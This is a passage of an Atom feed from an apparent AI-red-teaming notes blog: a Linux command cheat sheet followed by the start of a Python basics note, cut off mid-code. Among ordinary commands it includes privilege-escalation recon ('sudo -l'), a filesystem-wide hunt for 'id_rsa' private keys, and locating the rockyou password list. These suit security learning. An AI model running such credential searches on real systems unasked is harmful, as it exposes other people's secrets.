&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;fg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; %1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                   # bring job #1 to the foreground&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;bg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; %1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                   # resume in the background&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nohup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;         # don&amp;#39;t kill on session exit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Ctrl+Z               → suspend the foreground process, then resume with bg&#x2F;fg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;ssh-scp&quot;&gt;SSH &amp;amp; SCP&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ssh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; user@host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                        # connect&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ssh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 2222&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; user@host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                # non-standard port (lowercase -p)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ssh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -i ~&#x2F;.ssh&#x2F;id_ed25519 user@host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # with a private key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ssh-keygen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -t ed25519&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                # create a key pair&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;scp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file user@host:&#x2F;path&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # copy local → remote&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;scp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; user@host:&#x2F;path&#x2F;file .&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;           # copy remote → local&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;scp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -r dir user@host:&#x2F;path&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # recursive (directory)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;scp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -P&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 2222&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; file user@host:&#x2F;path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # non-standard port (capital -P!)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h1 id=&quot;users-groups-sudo&quot;&gt;Users, groups &amp;amp; sudo&lt;&#x2F;h1&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;               # your user, UID and GROUPS (group membership matters for privesc)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;whoami&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;           # current username&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sudo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # run one command as root&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sudo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -l&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # what you&amp;#39;re allowed to run via sudo (privesc recon!)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sudo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # get a root shell&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;handy-extras&quot;&gt;Handy extras&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;man&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;         # full docs for a command (q - quit)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; --help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;      # short help&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;history&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # command history (Ctrl+R - search it)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;which&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; python3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # path to an executable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; cd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # what a command is (binary, builtin, alias)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span&gt; $PATH&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # directories the shell searches for commands&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;whereis&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # locates the absolute paths of binary, source, and manual page files for a command&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # clear the screen (or Ctrl+L)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;find&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; . -name &amp;quot;*.log&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                       # find by name (live search)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;find&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &#x2F; -type f -name &amp;quot;id_rsa&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; 2&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;  # files, errors to nowhere&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;locate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; rockyou.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                         # find via a prebuilt index (fast; run updatedb to refresh)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Wildcards: &lt;code&gt;*&lt;&#x2F;code&gt; - any number of characters · &lt;code&gt;?&lt;&#x2F;code&gt; - one character · &lt;code&gt;[abc]&lt;&#x2F;code&gt; - one of a&#x2F;b&#x2F;c.&lt;&#x2F;p&gt;
&lt;p&gt;Find vs locate: find walks the filesystem live (accurate, slower). locate queries a prebuilt index (instant, but only as fresh as the last updatedb). Prefix any command with time to measure how long it actually takes.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;filesystem-hierarchy&quot;&gt;Filesystem hierarchy&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;               # absolute path&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;etc            # system configuration files&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;var            # variable data - logs (&#x2F;var&#x2F;log), queues, caches&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;tmp            # temporary files (often world-writable, sticky bit)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;home           # user home directories&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;root           # root&amp;#39;s home directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;proc           # virtual FS: processes and kernel info&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;dev            # device files (&#x2F;dev&#x2F;null, &#x2F;dev&#x2F;tcp)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;bin &#x2F;usr&#x2F;bin   # executables&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;opt            # third-party software&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;materials&quot;&gt;Materials&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;OverTheWire: Bandit &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;overthewire.org&#x2F;wargames&#x2F;bandit&quot;&gt;https:&#x2F;&#x2F;overthewire.org&#x2F;wargames&#x2F;bandit&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&quot;The Linux Command Line&quot;, W. Shotts &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;linuxcommand.org&quot;&gt;https:&#x2F;&#x2F;linuxcommand.org&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Linux Journey &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;linuxjourney.com&quot;&gt;https:&#x2F;&#x2F;linuxjourney.com&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry>
        <title>Python</title>
        <published>2026-07-06T00:00:00+00:00</published>
        <updated>2026-07-06T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/notes/python/"/>
        <id>https://frekler.com/ai-red-teaming/notes/python/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/notes/python/">&lt;h2 id=&quot;environment-venv-pip&quot;&gt;Environment: venv &#x2F; pip&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;python3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -m venv .venv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;           # create an isolated virtual environment&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;source&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; .venv&#x2F;bin&#x2F;activate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # activate (Linux&#x2F;macOS)  |  Windows: .venv\Scripts\activate&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;pip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; install requests&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # install a package&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;pip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; install -r requirements.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt; # install pinned deps&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;pip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; freeze&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; requirements.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # snapshot current versions&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;deactivate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                      # leave the venv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;language-essentials&quot;&gt;Language essentials&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;Pablo&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;count&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; has &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;count&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; items&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # f-string interpolation&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; count&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;non-empty&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;elif&lt;&#x2F;span&gt;&lt;span&gt; count&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;empty&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;negative&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;):&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                     # 0, 1, 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; greet&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;who&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; punct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;!&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;):&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;             # default argument&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;hi &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;who&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;}{&lt;&#x2F;span&gt;&lt;span&gt;punct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;data-structures-list-dict-set-tuple&quot;&gt;Data structures: list &#x2F; dict &#x2F; set &#x2F; tuple&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# list — ordered, mutable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;xs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;xs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt;; xs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;; xs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;; xs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;; 